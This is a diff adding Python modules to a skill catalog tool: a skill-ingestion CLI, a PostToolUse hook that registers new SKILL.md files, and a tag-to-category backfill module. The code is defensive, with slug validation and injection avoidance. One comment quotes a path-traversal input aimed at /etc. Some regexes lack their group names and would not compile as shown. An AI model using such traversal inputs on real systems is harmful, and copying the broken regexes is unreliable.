+    """Infer taxonomy tags from skill name and file content."""
+    combined = f"{name} {content}".lower()
+    found = [tag for tag in cfg.all_tags if re.search(rf"\b{re.escape(tag)}\b", combined)]
+    return found if found else ["uncategorized"]
+
+
+# ── Skills-dir helpers ────────────────────────────────────────────────────────
+
+def install_skill(source: Path, skills_dir: Path, name: str) -> Path:
+    """Copy SKILL.md into skills_dir//SKILL.md. Returns the installed path."""
+    dest_dir = skills_dir / name
+    dest = dest_dir / "SKILL.md"
+    safe_copy_file(source, dest, dest_root=skills_dir)
+    return dest
+
+
+# ── Conversion ────────────────────────────────────────────────────────────────
+
+def maybe_convert(
+    installed_path: Path,
+    name: str,
+    converted_root: Path,
+    line_count: int,
+) -> tuple[bool, Path | None]:
+    """Convert skill to micro-skill pipeline if >180 lines.
+
+    Args:
+        installed_path: Path to the installed SKILL.md (original, never touched).
+        name: Skill name.
+        converted_root: ~/.claude/skill-wiki/converted/
+        line_count: Pre-computed line count of the source file.
+
+    Returns:
+        (was_converted, output_dir | None)
+    """
+    if line_count <= cfg.line_threshold:
+        return False, None
+
+    output_dir = converted_root / name
+    output_dir.mkdir(parents=True, exist_ok=True)
+
+    # batch_convert.convert_skill operates on the source path and writes to output_dir
+    result = convert_skill(installed_path, output_dir)
+
+    if result.get("status") == "converted":
+        return True, output_dir
+
+    return False, None
+
+
+# ── Wiki entity page ──────────────────────────────────────────────────────────
+
+def build_entity_page(
+    *,
+    name: str,
+    tags: list[str],
+    line_count: int,
+    has_pipeline: bool,
+    original_path: Path,
+    related: list[str],
+    scan_sources: list[str],
+) -> str:
+    """Render the full entity page markdown for a skill."""
+    pipeline_path_str = (
+        f"converted/{name}/" if has_pipeline else "null"
+    )
+
+    fm_dict: dict = {
+        "title": name,
+        "created": TODAY,
+        "updated": TODAY,
+        "type": "skill",
+        "status": "installed",
+        "tags": tags,
+        "source": "local",
+        "original_path": str(original_path),
+        "original_lines": line_count,
+        "has_pipeline": has_pipeline,
+        "pipeline_path": pipeline_path_str,
+        "always_load": False,
+        "never_load": False,
+        "last_used": TODAY,
+        "use_count": 0,
+        "avg_session_rating": None,
+        "notes": "",
+    }
+    if scan_sources:
+        fm_dict["sources"] = scan_sources
+
+    frontmatter_body = yaml.safe_dump(fm_dict, default_flow_style=False, allow_unicode=True, sort_keys=False)
+    frontmatter_block = f"---\n{frontmatter_body}---"
+
+    related_links = "\n".join(f"- [[entities/skills/{r}]]" for r in related[:6])
+    if not related_links:
+        related_links = ""
+
+    pipeline_note = (
+        f"Pipeline converted to `{pipeline_path_str}` (original: {line_count} lines)."
+        if has_pipeline
+        else f"Skill is {line_count} lines — under the {cfg.line_threshold}-line threshold, no pipeline generated."
+    )
+
+    return frontmatter_block + f"""
+
+# {name}
+
+## Overview
+
+{pipeline_note}
+
+## Tags
+
+{', '.join(f'`{t}`' for t in tags)}
+
+## Related Skills
+
+{related_links}
+
+## Usage History
+
+| Date | Action | Notes |
+|------|--------|-------|
+| {TODAY} | Added | Ingested via skill_add.py |
+"""
+
+
+def write_entity_page(wiki_path: Path, name: str, content: str) -> bool:
+    """Write entity page. Returns True if newly created."""
+    page = wiki_path / "entities" / "skills" / f"{name}.md"
+    is_new = not page.exists()
+    page.write_text(content, encoding="utf-8")
+    return is_new
+
+
+# ── Wikilink backfill ─────────────────────────────────────────────────────────
+
+def find_related_skills(wiki_path: Path, name: str, tags: list[str]) -> list[str]:
+    """Scan existing entity pages for skills that share at least one tag."""
+    skills_dir = wiki_path / "entities" / "skills"
+    related: list[str] = []
+    tag_set = set(tags) - {"uncategorized"}
+
+    for page in sorted(skills_dir.glob("*.md")):
+        if page.stem == name:
+            continue
+        content = page.read_text(encoding="utf-8", errors="replace")
+        m = re.search(r"^tags:\s*\[([^\]]*)\]", content, re.MULTILINE)
+        if not m:
+            continue
+        page_tags = {t.strip() for t in m.group(1).split(",")}
+        if tag_set & page_tags:
+            related.append(page.stem)
+
+    return related
+
+
+def _add_backlink(wiki_path: Path, target_name: str, source_name: str) -> None:
+    """Add a [[wikilink]] from target page back to source if not already present."""
+    page = wiki_path / "entities" / "skills" / f"{target_name}.md"
+    if not page.exists():
+        return
+    content = page.read_text(encoding="utf-8", errors="replace")
+    link = f"[[entities/skills/{source_name}]]"
+    if link in content:
+        return
+    # Append under Related Skills section if present, else end of file
+    if "## Related Skills" in content:
+        content = content.replace(
+            "## Related Skills\n",
+            f"## Related Skills\n- {link}\n",
+            1,
+        )
+    else:
+        content = content.rstrip() + f"\n\n- {link}\n"
+    page.write_text(content, encoding="utf-8")
+
+
+def wire_backlinks(wiki_path: Path, name: str, related: list[str]) -> None:
+    """Bidirectionally add wikilinks between name and each related skill."""
+    for target in related:
+        _add_backlink(wiki_path, target, name)
+
+
+# ── Scan-source detection ─────────────────────────────────────────────────────
+
+def detect_scan_sources(wiki_path: Path, name: str) -> list[str]:
+    """Return filenames in raw/scans/ that reference this skill name."""
+    scans_dir = wiki_path / "raw" / "scans"
+    if not scans_dir.exists():
+        return []
+    sources: list[str] = []
+    for scan in sorted(scans_dir.glob("*.json")):
+        try:
+            text = scan.read_text(encoding="utf-8", errors="replace")
+            if name in text:
+                sources.append(scan.name)
+        except OSError:
+            pass
+    return sources
+
+
+# ── Core orchestration ────────────────────────────────────────────────────────
+
+def add_skill(
+    *,
+    source_path: Path,
+    name: str,
+    wiki_path: Path,
+    skills_dir: Path,
+    review_existing: bool = False,
+    update_existing: bool = False,
+) -> dict:
+    """Add a single skill: install, convert if needed, ingest into wiki.
+
+    Returns a result dict with keys: name, installed, converted, is_new_page.
+    """
+    validate_skill_name(name)
+
+    # Reject oversized files before reading into memory
+    file_size = source_path.stat().st_size
+    if file_size > 1_048_576:  # 1 MB
+        raise ValueError(
+            f"SKILL.md too large ({file_size:,} bytes). Max 1 MB. "
+            f"Split the skill or trim content before ingestion."
+        )
+
+    content = source_path.read_text(encoding="utf-8", errors="replace")
+    line_count = len(content.splitlines())
+
+    installed_path = skills_dir / name / "SKILL.md"
+    entity_page = wiki_path / "entities" / "skills" / f"{name}.md"
+    existing_path = (
+        installed_path
+        if installed_path.exists()
+        else entity_page if entity_page.exists() else None
+    )
+    has_existing = existing_path is not None
+
+    if review_existing and has_existing and not update_existing:
+        assert existing_path is not None
+        existing_text = existing_path.read_text(encoding="utf-8", errors="replace")
+        review = build_update_review(
+            entity_type="skill",
+            slug=name,
+            existing_text=existing_text,
+            proposed_text=content,
+        )
+        return {
+            "name": name,
+            "installed": str(installed_path),
+            "converted": False,
+            "is_new_page": False,
+            "skipped": True,
+            "update_required": True,
+            "update_review": render_update_review(review),
+        }
+
+    if not has_existing:
+        # Intake gate: reject broken/duplicate candidates before we touch
+        # skills-dir. Existing updates bypass similarity intake because
+        # they compare against their own cached embedding.
+        decision = check_intake(content, "skills")
+        if not decision.allow:
+            raise IntakeRejected(decision)
+
+    tags = infer_tags(name, content)
+
+    # 1. Install original into skills-dir (never modified after this)
+    installed_path = install_skill(source_path, skills_dir, name)
+
+    # Record the candidate's embedding so future intake checks can
+    # rank against it. Failure here is non-fatal — the install already
+    # succeeded and a missing vector only weakens the next check, it
+    # doesn't corrupt anything.
+    try:
+        record_embedding(subject_id=name, raw_md=content, subject_type="skills")
+    except Exception as exc:  # noqa: BLE001 — cache failure must not break install
+        print(
+            f"Warning: failed to record intake embedding for {name}: {exc}",
+            file=sys.stderr,
+        )
+
+    # 2. Convert if above threshold
+    converted_root = wiki_path / "converted"
+    converted, pipeline_path = maybe_convert(installed_path, name, converted_root, line_count)
+
+    # 3. Detect related skills and scan sources (before writing new page)
+    related = find_related_skills(wiki_path, name, tags)
+    scan_sources = detect_scan_sources(wiki_path, name)
+
+    # Ensure at least 2 wikilinks (pad with first two related even if no tag match)
+    all_entity_pages = sorted(
+        (p.stem for p in (wiki_path / "entities" / "skills").glob("*.md") if p.stem != name)
+    )
+    while len(related) < 2 and len(all_entity_pages) > len(related):
+        candidate = all_entity_pages[len(related)]
+        if candidate not in related:
+            related.append(candidate)
+
+    # 4. Write entity page
+    page_content = build_entity_page(
+        name=name,
+        tags=tags,
+        line_count=line_count,
+        has_pipeline=converted,
+        original_path=installed_path,
+        related=related,
+        scan_sources=scan_sources,
+    )
+    is_new = write_entity_page(wiki_path, name, page_content)
+
+    # 5. Bidirectional wikilinks
+    wire_backlinks(wiki_path, name, related)
+
+    # 6. Index + log
+    if is_new:
+        update_index(str(wiki_path), [name])
+
+    log_details = [
+        f"Source: {source_path}",
+        f"Installed: {installed_path}",
+        f"Lines: {line_count}",
+        f"Tags: {', '.join(tags)}",
+        f"Converted: {converted}",
+        f"Related: {', '.join(related) if related else 'none'}",
+    ]
+    if converted and pipeline_path:
+        log_details.append(f"Pipeline: {pipeline_path}")
+    append_log(str(wiki_path), "add-skill", name, log_details)
+
+    # Append to the unified audit log so post-hoc investigations can
+    # reconstruct every add/convert/install event without mining
+    # per-subsystem log files. See src/ctx_audit_log.py.
+    try:
+        from ctx_audit_log import log_skill_event
+        log_skill_event(
+            "skill.added" if is_new else "skill.installed",
+            name,
+            actor="cli",
+            meta={
+                "source": str(source_path),
+                "installed": str(installed_path),
+                "lines": line_count,
+                "converted": converted,
+                "tags": tags,
+                "related": related,
+            },
+        )
+        if converted:
+            log_skill_event(
+                "skill.converted", name, actor="cli",
+                meta={"pipeline": str(pipeline_path)},
+            )
+    except Exception:  # noqa: BLE001 — audit is best-effort
+        pass
+
+    return {
+        "name": name,
+        "installed": str(installed_path),
+        "converted": converted,
+        "is_new_page": is_new,
+        "skipped": False,
+        "update_required": False,
+    }
+
+
+# ── CLI ───────────────────────────────────────────────────────────────────────
+
+def main() -> None:
+    parser = argparse.ArgumentParser(description="Add new skills with wiki ingestion")
+    parser.add_argument("--skill-path", help="Path to a single SKILL.md to add")
+    parser.add_argument("--name", help="Skill name (required with --skill-path)")
+    parser.add_argument("--scan-dir", help="Directory of skills to batch-add (each subdir with SKILL.md)")
+    parser.add_argument("--skip-existing", action="store_true", help="Skip skills already installed (prevents overwrites)")
+    parser.add_argument(
+        "--update-existing",
+        action="store_true",
+        help="Apply the reviewed replacement when a skill already exists",
+    )
+    parser.add_argument("--wiki", default=str(cfg.wiki_dir), help="Wiki path")
+    parser.add_argument("--skills-dir", default=str(cfg.skills_dir), help="Skills install path")
+    args = parser.parse_args()
+
+    wiki_path = Path(os.path.expanduser(args.wiki))
+    skills_dir = Path(os.path.expanduser(args.skills_dir))
+
+    ensure_wiki(str(wiki_path))
+    skills_dir.mkdir(parents=True, exist_ok=True)
+
+    if args.skill_path and args.scan_dir:
+        print("Error: use --skill-path or --scan-dir, not both.", file=sys.stderr)
+        sys.exit(1)
+
+    if not args.skill_path and not args.scan_dir:
+        print("Error: --skill-path or --scan-dir is required.", file=sys.stderr)
+        sys.exit(1)
+
+    # Build the list of (source_path, name) pairs to process
+    candidates: list[tuple[Path, str]] = []
+
+    if args.skill_path:
+        if not args.name:
+            print("Error: --name is required with --skill-path.", file=sys.stderr)
+            sys.exit(1)
+        source = Path(os.path.expanduser(args.skill_path))
+        if not source.exists():
+            print(f"Error: {source} does not exist.", file=sys.stderr)
+            sys.exit(1)
+        candidates.append((source, args.name))
+
+    if args.scan_dir:
+        scan_root = Path(os.path.expanduser(args.scan_dir))
+        if not scan_root.exists():
+            print(f"Error: {scan_root} does not exist.", file=sys.stderr)
+            sys.exit(1)
+        for skill_md in sorted(scan_root.rglob("SKILL.md")):
+            skill_name = skill_md.parent.name
+            candidates.append((skill_md, skill_name))
+
+        if not candidates:
+            print(f"No SKILL.md files found under {scan_root}.", file=sys.stderr)
+            sys.exit(0)
+
+    added = updated = converted = skipped = errors = 0
+    total = len(candidates)
+    for i, (source_path, name) in enumerate(candidates, 1):
+        # Skip if already installed and --skip-existing is set
+        if args.skip_existing and (skills_dir / name / "SKILL.md").exists():
+            skipped += 1
+            if skipped <= 5 or skipped % 100 == 0:
+                print(f"  [{i}/{total}] [skipped] {name}")
+            continue
+        try:
+            result = add_skill(
+                source_path=source_path,
+                name=name,
+                wiki_path=wiki_path,
+                skills_dir=skills_dir,
+                review_existing=True,
+                update_existing=args.update_existing,
+            )
+            if result.get("skipped"):
+                skipped += 1
+                if result.get("update_review"):
+                    print(result["update_review"])
+                print(f"  [{i}/{total}] [update-review] {name}")
+                continue
+            if result["is_new_page"]:
+                added += 1
+            else:
+                updated += 1
+            if result["converted"]:
+                converted += 1
+            status = (
+                "updated"
+                if not result["is_new_page"]
+                else "converted" if result["converted"] else "installed"
+            )
+            print(f"  [{i}/{total}] [{status}] {name}")
+        except Exception as exc:
+            errors += 1
+            print(f"  [{i}/{total}] ERROR: {name}: {exc}", file=sys.stderr)
+
+    print(
+        f"\nDone: {added} added, {updated} updated, {converted} converted, "
+        f"{skipped} skipped, {errors} errors"
+    )
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/skill_add_detector.py b/src/skill_add_detector.py
new file mode 100644
index 0000000000000000000000000000000000000000..6817c9bdd502071da0dc807a38ca49fd347cd0f9
--- /dev/null
+++ b/src/skill_add_detector.py
@@ -0,0 +1,235 @@
+#!/usr/bin/env python3
+"""
+skill_add_detector.py -- PostToolUse hook: detect when a new skill is written to a skill dir.
+
+When Claude writes a SKILL.md file (via Write/Edit tools), this detects it and
+registers the new skill in the wiki catalog and index automatically.
+
+Called by PostToolUse hook:
+    python skill_add_detector.py --tool  --input 
+
+If >180 lines: prints a prompt asking the user if they want to convert.
+(The message appears in Claude's console output — Claude will see it and can relay to user.)
+
+Two-tier slug validation model
+-------------------------------
+Tier 1 — lenient, for files already on disk (``wiki_utils.validate_skill_name``):
+    Pattern: ``^[a-zA-Z0-9][a-zA-Z0-9_.-]{0,127}$``
+    Allows uppercase, underscores, and dots so legacy installed skill names
+    continue to work during re-ingestion and wiki-sync.
+
+Tier 2 — strict, for user-supplied input (``validate_user_supplied_slug`` here):
+    Pattern: ``^[a-z0-9][a-z0-9-]{0,63}$``
+    Lowercase + hyphens only, 64-char max.  Used whenever an attacker could
+    control the skill name (hook-detected writes, CLI --add, path extraction).
+    Stricter than Tier 1 to minimise attack surface on newly-created entries.
+"""
+
+import json
+import os
+import re
+import sys
+from pathlib import Path
+
+try:
+    from ctx_config import cfg as _cfg
+    CLAUDE_DIR = _cfg.claude_dir
+    WIKI_DIR = _cfg.wiki_dir
+    REGISTRY_PATH = _cfg.skill_registry
+    CATALOG_PATH = _cfg.catalog
+    LINE_THRESHOLD = _cfg.line_threshold
+    SKILLS_DIR = _cfg.skills_dir
+except ImportError:
+    CLAUDE_DIR = Path(os.path.expanduser("~/.claude"))
+    WIKI_DIR = CLAUDE_DIR / "skill-wiki"
+    REGISTRY_PATH = CLAUDE_DIR / "skill-registry.json"
+    CATALOG_PATH = WIKI_DIR / "catalog.md"
+    LINE_THRESHOLD = 180
+    SKILLS_DIR = CLAUDE_DIR / "skills"
+
+# Skill directory names must be lowercase alnum + hyphen, bounded length.
+# Stricter than the telemetry _SKILL_NAME_RE because directory names on
+# disk should follow the canonical slug convention (no dots, no uppercase).
+_SKILL_DIR_RE = re.compile(r"^[a-z0-9][a-z0-9-]{0,63}$")
+
+
+def validate_user_supplied_slug(name: str) -> str:
+    """Tier-2 (strict) validator for user-supplied skill slugs.
+
+    Enforces the canonical slug contract for newly-created entries:
+    lowercase alphanumeric + hyphens only, 64-char max.  Raises
+    ``ValueError`` if the name does not match, preventing attacker-controlled
+    path components from reaching downstream filesystem operations.
+
+    For files already accepted on disk use
+    ``wiki_utils.validate_skill_name`` (Tier-1, lenient).
+    """
+    if not isinstance(name, str) or not _SKILL_DIR_RE.match(name):
+        raise ValueError(
+            f"invalid skill name extracted from path: {name!r} "
+            f"(must match {_SKILL_DIR_RE.pattern})"
+        )
+    return name
+
+
+SKILL_TRIGGERS = {"Write", "Edit"}  # Tools that could create a skill file
+
+
+def load_registry() -> list[str]:
+    """Load registered skill directories from skill-registry.json."""
+    if not REGISTRY_PATH.exists():
+        return [str(CLAUDE_DIR / "skills"), str(CLAUDE_DIR / "agents")]
+    try:
+        return json.loads(REGISTRY_PATH.read_text())["skill_dirs"]
+    except Exception:
+        return []
+
+
+def extract_written_path(tool_name: str, tool_input: dict) -> str | None:
+    """Extract the file path being written from tool input."""
+    if tool_name == "Write":
+        return tool_input.get("file_path")
+    elif tool_name == "Edit":
+        return tool_input.get("file_path")
+    return None
+
+
+def is_in_skill_dir(file_path: str, skill_dirs: list[str]) -> bool:
+    """Check if a file path is inside one of the registered skill directories."""
+    p = Path(file_path).resolve()
+    for d in skill_dirs:
+        try:
+            p.relative_to(Path(d).resolve())
+            return True
+        except ValueError:
+            continue
+    return False
+
+
+def count_lines(file_path: str) -> int:
+    """Count lines in a file safely."""
+    try:
+        return len(Path(file_path).read_text(encoding="utf-8", errors="replace").splitlines())
+    except Exception:
+        return 0
+
+
+def _escape_md_cell(s: str) -> str:
+    """Escape a string for safe embedding in a markdown table cell.
+
+    Replaces pipe characters (which break table structure), collapses
+    newlines to spaces, and escapes backticks to prevent nested code spans.
+    """
+    s = s.replace("\r\n", " ").replace("\n", " ").replace("\r", " ")
+    s = s.replace("|", r"\|")
+    s = s.replace("`", r"\`")
+    return s
+
+
+def register_skill_in_catalog(file_path: str, skill_name: str, lines: int) -> None:
+    """Append a new skill entry to catalog.md."""
+    if not CATALOG_PATH.exists():
+        return
+    content = CATALOG_PATH.read_text(encoding="utf-8")
+    # Match against the structured table row (e.g. "| fastapi-pro |"), NOT a
+    # naive substring — otherwise a skill named "react" would be skipped if
+    # catalog rows mention "react-pro" or paths containing "react".
+    if f"| {skill_name} |" in content:
+        return
+    over_flag = "⚠" if lines > 180 else ""
+    safe_path = _escape_md_cell(file_path)
+    entry = f"| {skill_name} | skill | {lines} | {over_flag} | `{safe_path}` |"
+    # Insert before the last line
+    lines_list = content.splitlines()
+    lines_list.append(entry)
+    CATALOG_PATH.write_text("\n".join(lines_list) + "\n", encoding="utf-8")
+
+
+def _parse_stdin_payload() -> tuple[str, dict]:
+    """Read the PostToolUse JSON payload from stdin.
+
+    Claude Code delivers the payload on stdin when --from-stdin is used,
+    avoiding $CLAUDE_TOOL_INPUT interpolation into argv (shell injection risk).
+    Returns (tool_name, tool_input).
+    """
+    try:
+        raw = sys.stdin.read()
+        if not raw.strip():
+            return "unknown", {}
+        data = json.loads(raw)
+        if not isinstance(data, dict):
+            return "unknown", {}
+        tool_name = str(data.get("tool_name") or "unknown")
+        tool_input = data.get("tool_input") or {}
+        if not isinstance(tool_input, dict):
+            tool_input = {}
+        return tool_name, tool_input
+    except (json.JSONDecodeError, OSError):
+        return "unknown", {}
+
+
+def main() -> None:
+    import argparse
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--tool", default="unknown")
+    parser.add_argument("--input", default="{}")
+    parser.add_argument(
+        "--from-stdin",
+        action="store_true",
+        help="Read tool_name and tool_input from the JSON payload on stdin "
+             "(safe alternative to --tool/--input that avoids shell injection)",
+    )
+    args = parser.parse_args()
+
+    if args.from_stdin:
+        tool_name, tool_input = _parse_stdin_payload()
+    else:
+        tool_name = args.tool
+        try:
+            tool_input = json.loads(args.input)
+        except json.JSONDecodeError:
+            sys.exit(0)
+
+    if tool_name not in SKILL_TRIGGERS:
+        sys.exit(0)
+
+    file_path = extract_written_path(tool_name, tool_input)
+    if not file_path:
+        sys.exit(0)
+
+    # Only care about SKILL.md files
+    if not file_path.endswith("SKILL.md"):
+        sys.exit(0)
+
+    skill_dirs = load_registry()
+    if not is_in_skill_dir(file_path, skill_dirs):
+        sys.exit(0)
+
+    # New skill detected in a skill directory.
+    # Resolve to an absolute path before extracting the parent name so that
+    # traversal sequences like "/tmp/../../etc/foo" are normalised away first.
+    # We already know the resolved path is inside a registered skill dir
+    # (is_in_skill_dir uses resolve() internally), so extracting .parent.name
+    # from the resolved path gives us the real directory name.
+    resolved_path = Path(file_path).resolve()
+    raw_name = resolved_path.parent.name
+    try:
+        skill_name = validate_user_supplied_slug(raw_name)
+    except ValueError:
+        sys.exit(0)
+    lines = count_lines(file_path)
+
+    # Register in catalog
+    register_skill_in_catalog(file_path, skill_name, lines)
+
+    # If over 180 lines, emit a notice (Claude will see this in hook output)
+    if lines > LINE_THRESHOLD:
+        print(
+            f"\n[skill-system] New skill '{skill_name}' has {lines} lines (>{180}).\n"
+            f"  Consider converting to micro-skills pipeline (>={LINE_THRESHOLD} lines):\n"
+            f"  python {Path(__file__).parent}/batch_convert.py --file \"{file_path}\"\n"
+        )
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/skill_category.py b/src/skill_category.py
new file mode 100644
index 0000000000000000000000000000000000000000..90a5000e0d09eaccf93fa1e756c2c95d60ca635b
--- /dev/null
+++ b/src/skill_category.py
@@ -0,0 +1,366 @@
+#!/usr/bin/env python3
+"""
+skill_category.py -- Closed-set category inference + frontmatter backfill.
+
+Phase 4 of the skill-quality plan. The KPI dashboard groups scores by
+*category* (closed set) as distinct from *tags* (free-form). This module:
+
+  - Defines the closed taxonomy: framework / language / tool / pattern /
+    workflow / meta.
+  - Infers a category from existing tags using a precedence-ordered
+    mapping (first match wins — more specific categories first so a
+    "python" + "pattern" skill lands in 'language' rather than 'pattern').
+  - Exposes a CLI that scans skill + agent frontmatter and backfills the
+    ``category:`` field in-place when it's missing or empty.
+
+Design rule: we *never* overwrite an existing category. Human edits win
+over inference. The backfill prints a list of unresolved entries so the
+user can curate them by hand.
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import logging
+import re
+import sys
+from pathlib import Path
+from typing import Any, Iterable
+
+from ctx.utils._fs_utils import atomic_write_text as _atomic_write
+from ctx.core.wiki.wiki_utils import parse_frontmatter_and_body
+
+_logger = logging.getLogger(__name__)
+
+CATEGORIES: tuple[str, ...] = (
+    "framework",
+    "language",
+    "tool",
+    "pattern",
+    "workflow",
+    "meta",
+)
+
+# Precedence-ordered mapping. The first category whose tag set intersects
+# the skill's tags wins. Put narrower / more definitive categories
+# earlier so "python + pattern" → language, not pattern.
+_CATEGORY_TAGS: tuple[tuple[str, frozenset[str]], ...] = (
+    (
+        "language",
+        frozenset({
+            "python", "javascript", "typescript", "rust", "go", "golang",
+            "java", "ruby", "swift", "kotlin", "c", "cpp", "c++", "csharp",
+            "c#", "php", "elixir", "scala", "haskell", "bash", "shell",
+            "sql", "html", "css", "dart",
+        }),
+    ),
+    (
+        "framework",
+        frozenset({
+            "react", "vue", "angular", "svelte", "solid", "nextjs", "nuxt",
+            "remix", "astro", "fastapi", "django", "flask", "express",
+            "nestjs", "rails", "laravel", "spring", "spring-boot", "dotnet",
+            "aspnetcore", "pytorch", "tensorflow", "langchain", "llamaindex",
+            "tailwind",
+        }),
+    ),
+    (
+        "tool",
+        frozenset({
+            "docker", "kubernetes", "k8s", "terraform", "ansible", "helm",
+            "aws", "gcp", "azure", "git", "github-actions", "gitlab-ci",
+            "jenkins", "ci-cd", "linting", "pytest", "jest", "cypress",
+            "playwright", "webpack", "vite", "rollup", "esbuild",
+            "prometheus", "grafana", "redis", "postgres", "mysql", "kafka",
+            "rabbitmq", "elasticsearch", "mongodb", "sqlite", "dbt",
+            "airflow", "spark",
+        }),
+    ),
+    (
+        "pattern",
+        frozenset({
+            "pattern", "testing", "security", "performance", "typing",
+            "troubleshooting", "comparison", "decision", "architecture",
+            "refactoring", "clean-code", "design-patterns",
+        }),
+    ),
+    (
+        "workflow",
+        frozenset({
+            "documentation", "api-spec", "agents", "llm", "rag",
+            "fine-tuning", "embeddings", "mcp", "prompt-engineering",
+            "code-review", "release", "incident-response", "onboarding",
+        }),
+    ),
+    (
+        "meta",
+        frozenset({
+            "marketplace", "registry", "versioning", "compatibility",
+            "meta", "skill-router", "taxonomy",
+        }),
+    ),
+)
+
+
+def _normalize(tag: str) -> str:
+    return tag.strip().lower()
+
+
+def infer_category(tags: Iterable[str]) -> str | None:
+    """Return the first matching category, or None if nothing matches."""
+    normalized = {_normalize(t) for t in tags if isinstance(t, str) and t.strip()}
+    for category, tag_set in _CATEGORY_TAGS:
+        if normalized & tag_set:
+            return category
+    return None
+
+
+# ────────────────────────────────────────────────────────────────────
+# Frontmatter read/write
+# ────────────────────────────────────────────────────────────────────
+
+
+_CATEGORY_LINE_RE = re.compile(
+    r"^(?P[ \t]*)category:[ \t]*(?P.*)$", re.MULTILINE,
+)
+
+
+def _extract_frontmatter_block(raw: str) -> tuple[str, str, str] | None:
+    """Split raw markdown into (front_open, fm_body, after). None if no FM."""
+    if not raw.startswith("---"):
+        return None
+    end_idx = raw.find("\n---", 3)
+    if end_idx == -1:
+        return None
+    fm_block = raw[3 : end_idx + 1]
+    after = raw[end_idx + 4 :]
+    return "---", fm_block, after
+
+
+def set_category(raw_md: str, category: str) -> tuple[str, bool]:
+    """Set ``category:`` in frontmatter. Returns (new_text, changed).
+
+    Rules:
+      - If no frontmatter block, returns unchanged.
+      - If ``category`` key exists and already has a non-empty value,
+        returns unchanged (human edits win).
+      - If key exists but is empty, fills it in.
+      - If key does not exist, appends it.
+    """
+    if category not in CATEGORIES:
+        raise ValueError(f"unknown category: {category!r}")
+    parts = _extract_frontmatter_block(raw_md)
+    if parts is None:
+        return raw_md, False
+    head, fm_body, after = parts
+
+    match = _CATEGORY_LINE_RE.search(fm_body)
+    if match is not None:
+        existing = match.group("value").strip()
+        if existing:
+            return raw_md, False
+        # Empty value — fill it in preserving indent.
+        new_line = f"{match.group('indent')}category: {category}"
+        new_fm = (
+            fm_body[: match.start()] + new_line + fm_body[match.end():]
+        )
+        return head + new_fm + "---" + after, True
+
+    # Append new line. Trim any trailing blank lines inside fm_body.
+    lines = fm_body.splitlines()
+    while lines and not lines[-1].strip():
+        lines.pop()
+    lines.append(f"category: {category}")
+    new_fm = "\n".join(lines) + "\n"
+    # fm_body must remain `\n`-prefixed (starts after the opening ---).
+    if not new_fm.startswith("\n"):
+        new_fm = "\n" + new_fm
+    return head + new_fm + "---" + after, True
+
+
+def read_existing_category(raw_md: str) -> str | None:
+    parts = _extract_frontmatter_block(raw_md)
+    if parts is None:
+        return None
+    _, fm_body, _ = parts
+    match = _CATEGORY_LINE_RE.search(fm_body)
+    if match is None:
+        return None
+    value = match.group("value").strip()
+    return value or None
+
+
+# ────────────────────────────────────────────────────────────────────
+# Corpus walk
+# ────────────────────────────────────────────────────────────────────
+
+
+def _tags_from_frontmatter(fm: dict[str, Any]) -> list[str]:
+    raw = fm.get("tags", [])
+    if isinstance(raw, list):
+        return [t for t in raw if isinstance(t, str)]
+    if isinstance(raw, str):
+        return [p.strip() for p in raw.split(",") if p.strip()]
+    return []
+
+
+def _iter_skill_files(skills_dir: Path) -> list[Path]:
+    if not skills_dir.is_dir():
+        return []
+    out: list[Path] = []
+    for entry in sorted(skills_dir.iterdir()):
+        if not entry.is_dir() or entry.name.startswith("_"):
+            continue
+        candidate = entry / "SKILL.md"
+        if candidate.is_file():
+            out.append(candidate)
+    return out
+
+
+def _iter_agent_files(agents_dir: Path) -> list[Path]:
+    if not agents_dir.is_dir():
+        return []
+    return [p for p in sorted(agents_dir.glob("*.md"))
+            if not p.name.startswith("_")]
+
+
+def backfill_file(path: Path, *, dry_run: bool) -> str:
+    """Return one of: 'skipped' / 'already-set' / 'filled:' / 'unresolved'."""
+    try:
+        raw = path.read_text(encoding="utf-8", errors="replace")
+    except OSError as exc:
+        _logger.warning("skill_category: could not read %s: %s", path, exc)
+        return "skipped"
+
+    existing = read_existing_category(raw)
+    if existing:
+        return "already-set"
+
+    fm, _body = parse_frontmatter_and_body(raw)
+    tags = _tags_from_frontmatter(fm)
+    category = infer_category(tags)
+    if category is None:
+        return "unresolved"
+
+    new_text, changed = set_category(raw, category)
+    if not changed:
+        return "already-set"
+
+    if not dry_run:
+        _atomic_write(path, new_text)
+    return f"filled:{category}"
+
+
+def backfill_corpus(
+    *,
+    skills_dir: Path,
+    agents_dir: Path,
+    dry_run: bool = False,
+) -> dict[str, Any]:
+    """Walk skills + agents and backfill category. Returns a summary dict."""
+    files = _iter_skill_files(skills_dir) + _iter_agent_files(agents_dir)
+    counts = {"already-set": 0, "filled": 0, "unresolved": 0, "skipped": 0}
+    unresolved_paths: list[str] = []
+    category_counts: dict[str, int] = {}
+    for p in files:
+        result = backfill_file(p, dry_run=dry_run)
+        if result == "already-set":
+            counts["already-set"] += 1
+        elif result == "unresolved":
+            counts["unresolved"] += 1
+            unresolved_paths.append(str(p))
+        elif result == "skipped":
+            counts["skipped"] += 1
+        elif result.startswith("filled:"):
+            counts["filled"] += 1
+            cat = result.split(":", 1)[1]
+            category_counts[cat] = category_counts.get(cat, 0) + 1
+    return {
+        "counts": counts,
+        "category_counts": category_counts,
+        "unresolved": unresolved_paths[:100],  # cap to keep CLI output sane
+        "total_files": len(files),
+    }
+
+
+# ────────────────────────────────────────────────────────────────────
+# CLI
+# ────────────────────────────────────────────────────────────────────
+
+
+def cmd_backfill(args: argparse.Namespace) -> int:
+    from ctx_config import cfg
+    summary = backfill_corpus(
+        skills_dir=cfg.skills_dir,
+        agents_dir=cfg.agents_dir,
+        dry_run=args.dry_run,
+    )
+    if args.json:
+        print(json.dumps(summary, indent=2))
+        return 0
+    c = summary["counts"]
+    print(f"Scanned {summary['total_files']} files")
+    print(f"  already-set: {c['already-set']}")
+    print(f"  filled:      {c['filled']}")
+    print(f"  unresolved:  {c['unresolved']}")
+    if summary["category_counts"]:
+        print("\nBy category:")
+        for cat, n in sorted(summary["category_counts"].items()):
+            print(f"  {cat}: {n}")
+    if summary["unresolved"] and args.verbose:
+        print(f"\nUnresolved (first {len(summary['unresolved'])}):")
+        for p in summary["unresolved"]:
+            print(f"  {p}")
+    if args.dry_run:
+        print("\n(dry-run: no files written)")
+    return 0
+
+
